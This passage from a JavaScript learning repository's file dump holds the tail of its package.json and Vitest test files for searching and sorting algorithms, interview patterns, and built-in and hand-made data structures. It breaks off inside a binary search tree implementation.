\"javascript\",\n    \"javascript-concepts\",\n    \"javascript-learning\",\n    \"javascript-tutorial\",\n    \"learn-javascript\",\n    \"closures\",\n    \"promises\",\n    \"async-await\",\n    \"event-loop\",\n    \"prototypes\",\n    \"scope\",\n    \"hoisting\",\n    \"coercion\",\n    \"this-keyword\",\n    \"call-stack\",\n    \"higher-order-functions\",\n    \"functional-programming\",\n    \"design-patterns\",\n    \"data-structures\",\n    \"algorithms\",\n    \"es6\",\n    \"ecmascript\",\n    \"web-development\",\n    \"frontend\",\n    \"nodejs\",\n    \"programming\",\n    \"developer-resources\",\n    \"interview-preparation\"\n  ],\n  \"devDependencies\": {\n    \"@vitest/coverage-v8\": \"^4.0.16\",\n    \"jsdom\": \"^27.4.0\",\n    \"vitest\": \"^4.0.16\"\n  }\n}\n"
  },
  {
    "path": "tests/advanced-topics/algorithms-big-o/algorithms-big-o.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\n// ============================================\n// SEARCHING ALGORITHMS\n// ============================================\n\n// Linear Search - O(n)\nfunction linearSearch(arr, target) {\n  for (let i = 0; i < arr.length; i++) {\n    if (arr[i] === target) return i\n  }\n  return -1\n}\n\n// Binary Search - O(log n)\nfunction binarySearch(arr, target) {\n  let left = 0\n  let right = arr.length - 1\n\n  while (left <= right) {\n    const mid = Math.floor((left + right) / 2)\n\n    if (arr[mid] === target) return mid\n    if (arr[mid] < target) left = mid + 1\n    else right = mid - 1\n  }\n\n  return -1\n}\n\n// ============================================\n// SORTING ALGORITHMS\n// ============================================\n\n// Bubble Sort - O(n²) average/worst, O(n) best with early termination\nfunction bubbleSort(arr) {\n  const result = [...arr]\n  const n = result.length\n\n  for (let i = 0; i < n; i++) {\n    let swapped = false\n\n    for (let j = 0; j < n - i - 1; j++) {\n      if (result[j] > result[j + 1]) {\n        [result[j], result[j + 1]] = [result[j + 1], result[j]]\n        swapped = true\n      }\n    }\n\n    // If no swaps occurred, array is sorted\n    if (!swapped) break\n  }\n\n  return result\n}\n\n// Merge Sort - O(n log n)\nfunction mergeSort(arr) {\n  if (arr.length <= 1) return arr\n\n  const mid = Math.floor(arr.length / 2)\n  const left = mergeSort(arr.slice(0, mid))\n  const right = mergeSort(arr.slice(mid))\n\n  return merge(left, right)\n}\n\nfunction merge(left, right) {\n  const result = []\n  let i = 0\n  let j = 0\n\n  while (i < left.length && j < right.length) {\n    if (left[i] <= right[j]) {\n      result.push(left[i])\n      i++\n    } else {\n      result.push(right[j])\n      j++\n    }\n  }\n\n  return result.concat(left.slice(i)).concat(right.slice(j))\n}\n\n// ============================================\n// INTERVIEW PATTERNS\n// ============================================\n\n// Two Pointers - Find pair that sums to target\nfunction twoSum(arr, target) {\n  let left = 0\n  let right = arr.length - 1\n\n  while (left < right) {\n    const sum = arr[left] + arr[right]\n\n    if (sum === target) return [left, right]\n    if (sum < target) left++\n    else right--\n  }\n\n  return null\n}\n\n// Sliding Window - Maximum sum of k consecutive elements\nfunction maxSumSubarray(arr, k) {\n  if (arr.length < k) return null\n\n  let windowSum = 0\n  for (let i = 0; i < k; i++) {\n    windowSum += arr[i]\n  }\n\n  let maxSum = windowSum\n\n  for (let i = k; i < arr.length; i++) {\n    windowSum = windowSum - arr[i - k] + arr[i]\n    maxSum = Math.max(maxSum, windowSum)\n  }\n\n  return maxSum\n}\n\n// Frequency Counter - Check anagrams\nfunction isAnagram(str1, str2) {\n  if (str1.length !== str2.length) return false\n\n  const freq = {}\n\n  for (const char of str1) {\n    freq[char] = (freq[char] || 0) + 1\n  }\n\n  for (const char of str2) {\n    if (!freq[char]) return false\n    freq[char]--\n  }\n\n  return true\n}\n\n// Has Duplicates - O(n) with Set\nfunction hasDuplicates(arr) {\n  const seen = new Set()\n  for (const item of arr) {\n    if (seen.has(item)) return true\n    seen.add(item)\n  }\n  return false\n}\n\n// Longest Unique Substring - Sliding Window\nfunction longestUniqueSubstring(s) {\n  const seen = new Set()\n  let maxLen = 0\n  let left = 0\n\n  for (let right = 0; right < s.length; right++) {\n    while (seen.has(s[right])) {\n      seen.delete(s[left])\n      left++\n    }\n    seen.add(s[right])\n    maxLen = Math.max(maxLen, right - left + 1)\n  }\n\n  return maxLen\n}\n\n// ============================================\n// TESTS\n// ============================================\n\ndescribe('Algorithms & Big O', () => {\n  describe('Searching Algorithms', () => {\n    describe('Linear Search', () => {\n      it('should find element at beginning', () => {\n        expect(linearSearch([1, 2, 3, 4, 5], 1)).toBe(0)\n      })\n\n      it('should find element at end', () => {\n        expect(linearSearch([1, 2, 3, 4, 5], 5)).toBe(4)\n      })\n\n      it('should find element in middle', () => {\n        expect(linearSearch([3, 7, 1, 9, 4], 9)).toBe(3)\n      })\n\n      it('should return -1 when element not found', () => {\n        expect(linearSearch([1, 2, 3, 4, 5], 10)).toBe(-1)\n      })\n\n      it('should handle empty array', () => {\n        expect(linearSearch([], 1)).toBe(-1)\n      })\n\n      it('should find first occurrence of duplicates', () => {\n        expect(linearSearch([1, 2, 3, 2, 5], 2)).toBe(1)\n      })\n    })\n\n    describe('Binary Search', () => {\n      it('should find element in sorted array', () => {\n        expect(binarySearch([1, 3, 5, 7, 9, 11, 13], 9)).toBe(4)\n      })\n\n      it('should find first element', () => {\n        expect(binarySearch([1, 3, 5, 7, 9], 1)).toBe(0)\n      })\n\n      it('should find last element', () => {\n        expect(binarySearch([1, 3, 5, 7, 9], 9)).toBe(4)\n      })\n\n      it('should return -1 when element not found', () => {\n        expect(binarySearch([1, 3, 5, 7, 9], 6)).toBe(-1)\n      })\n\n      it('should handle single element array - found', () => {\n        expect(binarySearch([5], 5)).toBe(0)\n      })\n\n      it('should handle single element array - not found', () => {\n        expect(binarySearch([5], 3)).toBe(-1)\n      })\n\n      it('should handle empty array', () => {\n        expect(binarySearch([], 5)).toBe(-1)\n      })\n\n      it('should work with large sorted array', () => {\n        const arr = Array.from({ length: 1000 }, (_, i) => i * 2) // [0, 2, 4, ..., 1998]\n        expect(binarySearch(arr, 500)).toBe(250)\n        expect(binarySearch(arr, 501)).toBe(-1)\n      })\n    })\n  })\n\n  describe('Sorting Algorithms', () => {\n    describe('Bubble Sort', () => {\n      it('should sort array in ascending order', () => {\n        expect(bubbleSort([5, 3, 8, 4, 2])).toEqual([2, 3, 4, 5, 8])\n      })\n\n      it('should handle already sorted array', () => {\n        expect(bubbleSort([1, 2, 3, 4, 5])).toEqual([1, 2, 3, 4, 5])\n      })\n\n      it('should handle reverse sorted array', () => {\n        expect(bubbleSort([5, 4, 3, 2, 1])).toEqual([1, 2, 3, 4, 5])\n      })\n\n      it('should handle array with duplicates', () => {\n        expect(bubbleSort([3, 1, 4, 1, 5, 9, 2, 6])).toEqual([1, 1, 2, 3, 4, 5, 6, 9])\n      })\n\n      it('should handle single element', () => {\n        expect(bubbleSort([42])).toEqual([42])\n      })\n\n      it('should handle empty array', () => {\n        expect(bubbleSort([])).toEqual([])\n      })\n\n      it('should not mutate original array', () => {\n        const original = [3, 1, 4, 1, 5]\n        bubbleSort(original)\n        expect(original).toEqual([3, 1, 4, 1, 5])\n      })\n\n      it('should handle negative numbers', () => {\n        expect(bubbleSort([-3, -1, -4, -1, -5])).toEqual([-5, -4, -3, -1, -1])\n      })\n\n      it('should terminate early on already sorted array (O(n) best case)', () => {\n        // This test verifies the early termination optimization works\n        // On an already sorted array, only one pass is needed\n        const sorted = [1, 2, 3, 4, 5]\n        expect(bubbleSort(sorted)).toEqual([1, 2, 3, 4, 5])\n      })\n    })\n\n    describe('Merge Sort', () => {\n      it('should sort array in ascending order', () => {\n        expect(mergeSort([38, 27, 43, 3, 9, 82, 10])).toEqual([3, 9, 10, 27, 38, 43, 82])\n      })\n\n      it('should handle already sorted array', () => {\n        expect(mergeSort([1, 2, 3, 4, 5])).toEqual([1, 2, 3, 4, 5])\n      })\n\n      it('should handle reverse sorted array', () => {\n        expect(mergeSort([5, 4, 3, 2, 1])).toEqual([1, 2, 3, 4, 5])\n      })\n\n      it('should handle array with duplicates', () => {\n        expect(mergeSort([3, 1, 4, 1, 5, 9, 2, 6])).toEqual([1, 1, 2, 3, 4, 5, 6, 9])\n      })\n\n      it('should handle single element', () => {\n        expect(mergeSort([42])).toEqual([42])\n      })\n\n      it('should handle empty array', () => {\n        expect(mergeSort([])).toEqual([])\n      })\n\n      it('should handle negative numbers', () => {\n        expect(mergeSort([-3, 1, -4, 1, -5, 9])).toEqual([-5, -4, -3, 1, 1, 9])\n      })\n\n      it('should maintain stability for equal elements', () => {\n        // Merge sort is stable - equal elements maintain relative order\n        const result = mergeSort([3, 1, 2, 1])\n        expect(result).toEqual([1, 1, 2, 3])\n      })\n    })\n  })\n\n  describe('Interview Patterns', () => {\n    describe('Two Pointers - Two Sum', () => {\n      it('should find pair that sums to target', () => {\n        expect(twoSum([1, 3, 5, 7, 9], 12)).toEqual([1, 4]) // 3 + 9 = 12\n      })\n\n      it('should find pair at extremes', () => {\n        expect(twoSum([1, 2, 3, 4, 5], 6)).toEqual([0, 4]) // 1 + 5 = 6\n      })\n\n      it('should find adjacent pair', () => {\n        expect(twoSum([1, 2, 3, 4, 5], 9)).toEqual([3, 4]) // 4 + 5 = 9\n      })\n\n      it('should return null when no pair exists', () => {\n        expect(twoSum([1, 2, 3, 4, 5], 100)).toBe(null)\n      })\n\n      it('should handle minimum size array', () => {\n        expect(twoSum([3, 7], 10)).toEqual([0, 1])\n      })\n\n      it('should return null for single element', () => {\n        expect(twoSum([5], 10)).toBe(null)\n      })\n    })\n\n    describe('Sliding Window - Max Sum Subarray', () => {\n      it('should find maximum sum of k consecutive elements', () => {\n        expect(maxSumSubarray([2, 1, 5, 1, 3, 2], 3)).toBe(9) // 5 + 1 + 3\n      })\n\n      it('should handle window at beginning', () => {\n        expect(maxSumSubarray([9, 1, 1, 1, 1, 1], 2)).toBe(10) // 9 + 1\n      })\n\n      it('should handle window at end', () => {\n        expect(maxSumSubarray([1, 1, 1, 1, 9, 8], 2)).toBe(17) // 9 + 8\n      })\n\n      it('should handle k equal to array length', () => {\n        expect(maxSumSubarray([1, 2, 3], 3)).toBe(6)\n      })\n\n      it('should return null if array shorter than k', () => {\n        expect(maxSumSubarray([1, 2], 3)).toBe(null)\n      })\n\n      it('should handle negative numbers', () => {\n        expect(maxSumSubarray([-1, -2, 5, 6, -3], 2)).toBe(11) // 5 + 6\n      })\n\n      it('should handle all negative numbers', () => {\n        expect(maxSumSubarray([-5, -3, -8, -2], 2)).toBe(-8) // -5 + -3 = -8 is max\n      })\n    })\n\n    describe('Frequency Counter - Anagram Check', () => {\n      it('should return true for valid anagrams', () => {\n        expect(isAnagram('listen', 'silent')).toBe(true)\n      })\n\n      it('should return true for same string', () => {\n        expect(isAnagram('hello', 'hello')).toBe(true)\n      })\n\n      it('should return false for different lengths', () => {\n        expect(isAnagram('hello', 'helloo')).toBe(false)\n      })\n\n      it('should return false for non-anagrams', () => {\n        expect(isAnagram('hello', 'world')).toBe(false)\n      })\n\n      it('should handle empty strings', () => {\n        expect(isAnagram('', '')).toBe(true)\n      })\n\n      it('should be case sensitive', () => {\n        expect(isAnagram('Listen', 'Silent')).toBe(false)\n      })\n\n      it('should handle repeated characters', () => {\n        expect(isAnagram('aab', 'baa')).toBe(true)\n        expect(isAnagram('aab', 'bba')).toBe(false)\n      })\n\n      it('should handle single characters', () => {\n        expect(isAnagram('a', 'a')).toBe(true)\n        expect(isAnagram('a', 'b')).toBe(false)\n      })\n    })\n\n    describe('Has Duplicates', () => {\n      it('should return true when duplicates exist', () => {\n        expect(hasDuplicates([1, 2, 3, 2, 5])).toBe(true)\n      })\n\n      it('should return false when no duplicates', () => {\n        expect(hasDuplicates([1, 2, 3, 4, 5])).toBe(false)\n      })\n\n      it('should handle empty array', () => {\n        expect(hasDuplicates([])).toBe(false)\n      })\n\n      it('should handle single element', () => {\n        expect(hasDuplicates([1])).toBe(false)\n      })\n\n      it('should detect duplicates at beginning', () => {\n        expect(hasDuplicates([1, 1, 2, 3, 4])).toBe(true)\n      })\n\n      it('should detect duplicates at end', () => {\n        expect(hasDuplicates([1, 2, 3, 4, 4])).toBe(true)\n      })\n\n      it('should work with strings', () => {\n        expect(hasDuplicates(['a', 'b', 'c', 'a'])).toBe(true)\n        expect(hasDuplicates(['a', 'b', 'c', 'd'])).toBe(false)\n      })\n    })\n\n    describe('Longest Unique Substring', () => {\n      it('should find longest substring without repeating characters', () => {\n        expect(longestUniqueSubstring('abcabcbb')).toBe(3) // \"abc\"\n      })\n\n      it('should handle all same characters', () => {\n        expect(longestUniqueSubstring('bbbbb')).toBe(1)\n      })\n\n      it('should handle unique characters at end', () => {\n        expect(longestUniqueSubstring('pwwkew')).toBe(3) // \"wke\"\n      })\n\n      it('should handle empty string', () => {\n        expect(longestUniqueSubstring('')).toBe(0)\n      })\n\n      it('should handle single character', () => {\n        expect(longestUniqueSubstring('a')).toBe(1)\n      })\n\n      it('should handle all unique characters', () => {\n        expect(longestUniqueSubstring('abcdef')).toBe(6)\n      })\n\n      it('should handle repeating pattern', () => {\n        expect(longestUniqueSubstring('abab')).toBe(2)\n      })\n    })\n  })\n\n  describe('Big O Concepts', () => {\n    describe('Array operations complexity', () => {\n      it('should demonstrate O(1) array access', () => {\n        const arr = [1, 2, 3, 4, 5]\n        // Direct index access is O(1)\n        expect(arr[0]).toBe(1)\n        expect(arr[4]).toBe(5)\n        expect(arr[2]).toBe(3)\n      })\n\n      it('should demonstrate O(1) push and pop', () => {\n        const arr = [1, 2, 3]\n        arr.push(4) // O(1)\n        expect(arr).toEqual([1, 2, 3, 4])\n        const popped = arr.pop() // O(1)\n        expect(popped).toBe(4)\n        expect(arr).toEqual([1, 2, 3])\n      })\n\n      it('should demonstrate O(n) shift and unshift', () => {\n        const arr = [1, 2, 3]\n        // These are O(n) because they require re-indexing all elements\n        arr.unshift(0)\n        expect(arr).toEqual([0, 1, 2, 3])\n        const shifted = arr.shift()\n        expect(shifted).toBe(0)\n        expect(arr).toEqual([1, 2, 3])\n      })\n    })\n\n    describe('Set vs Array for lookups', () => {\n      it('should demonstrate Set.has() is faster than Array.includes() for repeated lookups', () => {\n        const arr = Array.from({ length: 1000 }, (_, i) => i)\n        const set = new Set(arr)\n\n        // Both find the element, but Set.has() is O(1) vs Array.includes() O(n)\n        expect(arr.includes(500)).toBe(true)\n        expect(set.has(500)).toBe(true)\n\n        expect(arr.includes(999)).toBe(true)\n        expect(set.has(999)).toBe(true)\n\n        expect(arr.includes(1001)).toBe(false)\n        expect(set.has(1001)).toBe(false)\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/advanced-topics/data-structures/data-structures.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Data Structures', () => {\n  describe('Arrays', () => {\n    it('should access elements by index in O(1)', () => {\n      const arr = ['a', 'b', 'c', 'd', 'e']\n      \n      expect(arr[0]).toBe('a')\n      expect(arr[2]).toBe('c')\n      expect(arr[4]).toBe('e')\n    })\n\n    it('should add and remove from end with push/pop in O(1)', () => {\n      const arr = [1, 2, 3]\n      \n      arr.push(4)\n      expect(arr).toEqual([1, 2, 3, 4])\n      \n      const popped = arr.pop()\n      expect(popped).toBe(4)\n      expect(arr).toEqual([1, 2, 3])\n    })\n\n    it('should add and remove from beginning with unshift/shift (O(n))', () => {\n      const arr = [1, 2, 3]\n      \n      arr.unshift(0)\n      expect(arr).toEqual([0, 1, 2, 3])\n      \n      const shifted = arr.shift()\n      expect(shifted).toBe(0)\n      expect(arr).toEqual([1, 2, 3])\n    })\n\n    it('should search with indexOf and includes in O(n)', () => {\n      const arr = ['apple', 'banana', 'cherry']\n      \n      expect(arr.indexOf('banana')).toBe(1)\n      expect(arr.indexOf('mango')).toBe(-1)\n      expect(arr.includes('cherry')).toBe(true)\n      expect(arr.includes('grape')).toBe(false)\n    })\n\n    it('should insert in middle with splice in O(n)', () => {\n      const arr = [1, 2, 4, 5]\n      \n      // Insert 3 at index 2\n      arr.splice(2, 0, 3)\n      expect(arr).toEqual([1, 2, 3, 4, 5])\n      \n      // Remove element at index 2\n      arr.splice(2, 1)\n      expect(arr).toEqual([1, 2, 4, 5])\n    })\n  })\n\n  describe('Objects', () => {\n    it('should access, add, and delete properties in O(1)', () => {\n      const user = { name: 'Alice', age: 30 }\n      \n      // Access\n      expect(user.name).toBe('Alice')\n      expect(user['age']).toBe(30)\n      \n      // Add\n      user.email = 'alice@example.com'\n      expect(user.email).toBe('alice@example.com')\n      \n      // Delete\n      delete user.email\n      expect(user.email).toBe(undefined)\n    })\n\n    it('should check for key existence', () => {\n      const user = { name: 'Alice' }\n      \n      expect('name' in user).toBe(true)\n      expect('age' in user).toBe(false)\n      expect(user.hasOwnProperty('name')).toBe(true)\n    })\n\n    it('should convert numeric keys to strings', () => {\n      const obj = {}\n      obj[1] = 'one'\n      obj['1'] = 'one as string'\n      \n      // Both are the same key!\n      expect(Object.keys(obj)).toEqual(['1'])\n      expect(obj[1]).toBe('one as string')\n      expect(obj['1']).toBe('one as string')\n    })\n  })\n\n  describe('Map', () => {\n    it('should use any value type as key', () => {\n      const map = new Map()\n      \n      const objKey = { id: 1 }\n      const funcKey = () => {}\n      \n      map.set('string', 'string key')\n      map.set(123, 'number key')\n      map.set(objKey, 'object key')\n      map.set(funcKey, 'function key')\n      map.set(true, 'boolean key')\n      \n      expect(map.get('string')).toBe('string key')\n      expect(map.get(123)).toBe('number key')\n      expect(map.get(objKey)).toBe('object key')\n      expect(map.get(funcKey)).toBe('function key')\n      expect(map.get(true)).toBe('boolean key')\n    })\n\n    it('should have a size property', () => {\n      const map = new Map()\n      map.set('a', 1)\n      map.set('b', 2)\n      map.set('c', 3)\n      \n      expect(map.size).toBe(3)\n    })\n\n    it('should check existence with has()', () => {\n      const map = new Map([['key', 'value']])\n      \n      expect(map.has('key')).toBe(true)\n      expect(map.has('nonexistent')).toBe(false)\n    })\n\n    it('should delete entries', () => {\n      const map = new Map([['a', 1], ['b', 2]])\n      \n      map.delete('a')\n      expect(map.has('a')).toBe(false)\n      expect(map.size).toBe(1)\n    })\n\n    it('should maintain insertion order', () => {\n      const map = new Map()\n      map.set('first', 1)\n      map.set('second', 2)\n      map.set('third', 3)\n      \n      const keys = [...map.keys()]\n      expect(keys).toEqual(['first', 'second', 'third'])\n    })\n\n    it('should iterate with for...of', () => {\n      const map = new Map([['a', 1], ['b', 2]])\n      const entries = []\n      \n      for (const [key, value] of map) {\n        entries.push([key, value])\n      }\n      \n      expect(entries).toEqual([['a', 1], ['b', 2]])\n    })\n\n    it('should be useful for counting occurrences', () => {\n      function countWords(text) {\n        const words = text.toLowerCase().split(/\\s+/)\n        const counts = new Map()\n        \n        for (const word of words) {\n          counts.set(word, (counts.get(word) || 0) + 1)\n        }\n        \n        return counts\n      }\n      \n      const result = countWords('the cat and the dog')\n      expect(result.get('the')).toBe(2)\n      expect(result.get('cat')).toBe(1)\n      expect(result.get('and')).toBe(1)\n    })\n  })\n\n  describe('Set', () => {\n    it('should store only unique values', () => {\n      const set = new Set()\n      \n      set.add(1)\n      set.add(2)\n      set.add(2)  // Duplicate - ignored\n      set.add(3)\n      set.add(3)  // Duplicate - ignored\n      \n      expect(set.size).toBe(3)\n      expect([...set]).toEqual([1, 2, 3])\n    })\n\n    it('should check existence with has()', () => {\n      const set = new Set([1, 2, 3])\n      \n      expect(set.has(2)).toBe(true)\n      expect(set.has(5)).toBe(false)\n    })\n\n    it('should remove duplicates from array', () => {\n      const numbers = [1, 2, 2, 3, 3, 3, 4]\n      const unique = [...new Set(numbers)]\n      \n      expect(unique).toEqual([1, 2, 3, 4])\n    })\n\n    it('should delete values', () => {\n      const set = new Set([1, 2, 3])\n      \n      set.delete(2)\n      expect(set.has(2)).toBe(false)\n      expect(set.size).toBe(2)\n    })\n\n    it('should iterate in insertion order', () => {\n      const set = new Set()\n      set.add('first')\n      set.add('second')\n      set.add('third')\n      \n      expect([...set]).toEqual(['first', 'second', 'third'])\n    })\n\n    it('should perform set operations (ES2024+)', () => {\n      const a = new Set([1, 2, 3])\n      const b = new Set([2, 3, 4])\n      \n      // Skip if ES2024 Set methods not available\n      if (typeof a.union !== 'function') {\n        // Manual implementation for older environments\n        const union = new Set([...a, ...b])\n        expect([...union].sort()).toEqual([1, 2, 3, 4])\n        \n        const intersection = new Set([...a].filter(x => b.has(x)))\n        expect([...intersection].sort()).toEqual([2, 3])\n        \n        const difference = new Set([...a].filter(x => !b.has(x)))\n        expect([...difference]).toEqual([1])\n        \n        return\n      }\n      \n      // Union: elements in either set\n      expect([...a.union(b)].sort()).toEqual([1, 2, 3, 4])\n      \n      // Intersection: elements in both sets\n      expect([...a.intersection(b)].sort()).toEqual([2, 3])\n      \n      // Difference: elements in a but not in b\n      expect([...a.difference(b)]).toEqual([1])\n      \n      // Symmetric difference: elements in either but not both\n      expect([...a.symmetricDifference(b)].sort()).toEqual([1, 4])\n    })\n\n    it('should check subset relationships (ES2024+)', () => {\n      const small = new Set([1, 2])\n      const large = new Set([1, 2, 3, 4])\n      \n      // Skip if ES2024 Set methods not available\n      if (typeof small.isSubsetOf !== 'function') {\n        // Manual implementation for older environments\n        const isSubset = [...small].every(x => large.has(x))\n        expect(isSubset).toBe(true)\n        \n        const isSuperset = [...small].every(x => large.has(x))\n        expect(isSuperset).toBe(true)\n        \n        const largeIsSubsetOfSmall = [...large].every(x => small.has(x))\n        expect(largeIsSubsetOfSmall).toBe(false)\n        \n        return\n      }\n      \n      expect(small.isSubsetOf(large)).toBe(true)\n      expect(large.isSupersetOf(small)).toBe(true)\n      expect(large.isSubsetOf(small)).toBe(false)\n    })\n  })\n\n  describe('WeakMap', () => {\n    it('should only accept objects as keys', () => {\n      const weakMap = new WeakMap()\n      const obj = { id: 1 }\n      \n      weakMap.set(obj, 'value')\n      expect(weakMap.get(obj)).toBe('value')\n      \n      // Cannot use primitives as keys\n      expect(() => weakMap.set('string', 'value')).toThrow(TypeError)\n    })\n\n    it('should support get, set, has, delete operations', () => {\n      const weakMap = new WeakMap()\n      const obj = { id: 1 }\n      \n      weakMap.set(obj, 'data')\n      expect(weakMap.has(obj)).toBe(true)\n      expect(weakMap.get(obj)).toBe('data')\n      \n      weakMap.delete(obj)\n      expect(weakMap.has(obj)).toBe(false)\n    })\n\n    it('should be useful for private data pattern', () => {\n      const privateData = new WeakMap()\n      \n      class User {\n        constructor(name, password) {\n          this.name = name\n          privateData.set(this, { password })\n        }\n        \n        checkPassword(input) {\n          return privateData.get(this).password === input\n        }\n      }\n      \n      const user = new User('Alice', 'secret123')\n      expect(user.name).toBe('Alice')\n      expect(user.password).toBe(undefined)  // Not accessible\n      expect(user.checkPassword('secret123')).toBe(true)\n      expect(user.checkPassword('wrong')).toBe(false)\n    })\n  })\n\n  describe('WeakSet', () => {\n    it('should only accept objects as values', () => {\n      const weakSet = new WeakSet()\n      const obj = { id: 1 }\n      \n      weakSet.add(obj)\n      expect(weakSet.has(obj)).toBe(true)\n      \n      // Cannot use primitives\n      expect(() => weakSet.add('string')).toThrow(TypeError)\n    })\n\n    it('should be useful for tracking processed objects', () => {\n      const processed = new WeakSet()\n      \n      function processOnce(obj) {\n        if (processed.has(obj)) {\n          return 'already processed'\n        }\n        processed.add(obj)\n        return 'processed'\n      }\n      \n      const obj = { data: 'test' }\n      expect(processOnce(obj)).toBe('processed')\n      expect(processOnce(obj)).toBe('already processed')\n    })\n  })\n\n  describe('Stack Implementation', () => {\n    class Stack {\n      constructor() {\n        this.items = []\n      }\n      \n      push(item) {\n        this.items.push(item)\n      }\n      \n      pop() {\n        return this.items.pop()\n      }\n      \n      peek() {\n        return this.items[this.items.length - 1]\n      }\n      \n      isEmpty() {\n        return this.items.length === 0\n      }\n      \n      size() {\n        return this.items.length\n      }\n    }\n\n    it('should follow LIFO (Last In, First Out)', () => {\n      const stack = new Stack()\n      \n      stack.push(1)\n      stack.push(2)\n      stack.push(3)\n      \n      expect(stack.pop()).toBe(3)  // Last in\n      expect(stack.pop()).toBe(2)\n      expect(stack.pop()).toBe(1)  // First in\n    })\n\n    it('should peek without removing', () => {\n      const stack = new Stack()\n      stack.push('a')\n      stack.push('b')\n      \n      expect(stack.peek()).toBe('b')\n      expect(stack.size()).toBe(2)  // Still 2 items\n    })\n\n    it('should report isEmpty correctly', () => {\n      const stack = new Stack()\n      \n      expect(stack.isEmpty()).toBe(true)\n      \n      stack.push(1)\n      expect(stack.isEmpty()).toBe(false)\n      \n      stack.pop()\n      expect(stack.isEmpty()).toBe(true)\n    })\n\n    it('should handle pop and peek on empty stack', () => {\n      const stack = new Stack()\n      \n      expect(stack.pop()).toBe(undefined)\n      expect(stack.peek()).toBe(undefined)\n      expect(stack.size()).toBe(0)\n    })\n\n    it('should solve valid parentheses problem', () => {\n      function isValid(s) {\n        const stack = []\n        const pairs = { ')': '(', ']': '[', '}': '{' }\n        \n        for (const char of s) {\n          if (char in pairs) {\n            if (stack.pop() !== pairs[char]) {\n              return false\n            }\n          } else {\n            stack.push(char)\n          }\n        }\n        \n        return stack.length === 0\n      }\n      \n      expect(isValid('()')).toBe(true)\n      expect(isValid('()[]{}')).toBe(true)\n      expect(isValid('([{}])')).toBe(true)\n      expect(isValid('(]')).toBe(false)\n      expect(isValid('([)]')).toBe(false)\n      expect(isValid('(((')).toBe(false)\n    })\n  })\n\n  describe('Queue Implementation', () => {\n    class Queue {\n      constructor() {\n        this.items = []\n      }\n      \n      enqueue(item) {\n        this.items.push(item)\n      }\n      \n      dequeue() {\n        return this.items.shift()\n      }\n      \n      front() {\n        return this.items[0]\n      }\n      \n      isEmpty() {\n        return this.items.length === 0\n      }\n      \n      size() {\n        return this.items.length\n      }\n    }\n\n    it('should follow FIFO (First In, First Out)', () => {\n      const queue = new Queue()\n      \n      queue.enqueue(1)\n      queue.enqueue(2)\n      queue.enqueue(3)\n      \n      expect(queue.dequeue()).toBe(1)  // First in\n      expect(queue.dequeue()).toBe(2)\n      expect(queue.dequeue()).toBe(3)  // Last in\n    })\n\n    it('should peek at front without removing', () => {\n      const queue = new Queue()\n      queue.enqueue('first')\n      queue.enqueue('second')\n      \n      expect(queue.front()).toBe('first')\n      expect(queue.size()).toBe(2)  // Still 2 items\n    })\n\n    it('should report isEmpty correctly', () => {\n      const queue = new Queue()\n      \n      expect(queue.isEmpty()).toBe(true)\n      \n      queue.enqueue(1)\n      expect(queue.isEmpty()).toBe(false)\n      \n      queue.dequeue()\n      expect(queue.isEmpty()).toBe(true)\n    })\n\n    it('should handle dequeue and front on empty queue', () => {\n      const queue = new Queue()\n      \n      expect(queue.dequeue()).toBe(undefined)\n      expect(queue.front()).toBe(undefined)\n      expect(queue.size()).toBe(0)\n    })\n  })\n\n  describe('Linked List Implementation', () => {\n    class Node {\n      constructor(value) {\n        this.value = value\n        this.next = null\n      }\n    }\n\n    class LinkedList {\n      constructor() {\n        this.head = null\n        this.size = 0\n      }\n      \n      prepend(value) {\n        const node = new Node(value)\n        node.next = this.head\n        this.head = node\n        this.size++\n      }\n      \n      append(value) {\n        const node = new Node(value)\n        \n        if (!this.head) {\n          this.head = node\n        } else {\n          let current = this.head\n          while (current.next) {\n            current = current.next\n          }\n          current.next = node\n        }\n        this.size++\n      }\n      \n      find(value) {\n        let current = this.head\n        while (current) {\n          if (current.value === value) {\n            return current\n          }\n          current = current.next\n        }\n        return null\n      }\n      \n      toArray() {\n        const result = []\n        let current = this.head\n        while (current) {\n          result.push(current.value)\n          current = current.next\n        }\n        return result\n      }\n    }\n\n    it('should prepend elements in O(1)', () => {\n      const list = new LinkedList()\n      \n      list.prepend(3)\n      list.prepend(2)\n      list.prepend(1)\n      \n      expect(list.toArray()).toEqual([1, 2, 3])\n    })\n\n    it('should append elements', () => {\n      const list = new LinkedList()\n      \n      list.append(1)\n      list.append(2)\n      list.append(3)\n      \n      expect(list.toArray()).toEqual([1, 2, 3])\n    })\n\n    it('should find elements', () => {\n      const list = new LinkedList()\n      list.append(1)\n      list.append(2)\n      list.append(3)\n      \n      const found = list.find(2)\n      expect(found.value).toBe(2)\n      expect(found.next.value).toBe(3)\n      \n      expect(list.find(5)).toBe(null)\n    })\n\n    it('should track size correctly', () => {\n      const list = new LinkedList()\n      \n      expect(list.size).toBe(0)\n      \n      list.append(1)\n      list.append(2)\n      list.prepend(0)\n      \n      expect(list.size).toBe(3)\n    })\n\n    it('should handle operations on empty list', () => {\n      const list = new LinkedList()\n      \n      expect(list.head).toBe(null)\n      expect(list.find(1)).toBe(null)\n      expect(list.toArray()).toEqual([])\n    })\n\n    it('should reverse a linked list', () => {\n      function reverseList(head) {\n        let prev = null\n        let current = head\n        \n        while (current) {\n          const next = current.next\n          current.next = prev\n          prev = current\n          current = next\n        }\n        \n        return prev\n      }\n      \n      const list = new LinkedList()\n      list.append(1)\n      list.append(2)\n      list.append(3)\n      \n      list.head = reverseList(list.head)\n      expect(list.toArray()).toEqual([3, 2, 1])\n    })\n  })\n\n  describe('Binary Search Tree Implementation', () => {\n    class TreeNode {\n      constructor(value) {\n        this.value = value\n        this.left = null\n        this.right = null\n      }\n    }\n\n    class BinarySearchTree {\n      constructor() {\n        this.root = null\n      }\n      \n      insert(value) {\n        const node = new TreeNode(value)\n        \n        if (!this.root) {\n          this.root = node\n          return\n        }\n        \n        let current = this.root\n        while (true) {\n          if (value < current.value) {\n            if (!current.left) {\n              current.left = node\n              return\n            }\n            current = current.left\n          } else {\n            if (!current.right) {\n              current.right = node\n              return\n            }\n            current = current.right\n          }\n        }\n      }\n      \n      search(value) {\n        let current = this.root\n        \n        while (current) {\n          if (value === current.value) {\n            return current\n          }\n          current = value < current.value ? current.left : current.right\n        }\n        \n        return null\n      }\n      \n      inOrder(node = this.root, result = []) {\n        if (node) {\n          